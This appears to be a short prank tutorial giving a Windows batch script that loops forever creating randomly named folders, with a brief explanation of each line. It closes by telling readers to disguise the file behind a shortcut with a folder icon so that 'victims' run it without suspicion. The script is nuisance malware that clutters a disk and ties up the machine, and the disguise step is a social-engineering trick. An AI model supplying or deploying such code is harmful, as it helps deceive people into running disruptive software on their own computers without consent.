Create more than 3,000 folders under a minute.

Step 1) Open your notepad and type the following code:
@echo off
:top
md %random%
goto top
Step 2) Save it as 1000.bat

@echo off makes your screen appear blank but it is actually making hundreds of folders.
md %random% is command that creating folders with random names.( md is a command to make directory in ms-dos)
goto top – return the command to :top, causes an infinite loop.

     Now this might look a little suspicious to your victims. Lets make it more funny so that your victim can fall into your trap easily.Create a shortcut for the created batch-file and change its icon to a folder icon and make it look unsuspicious.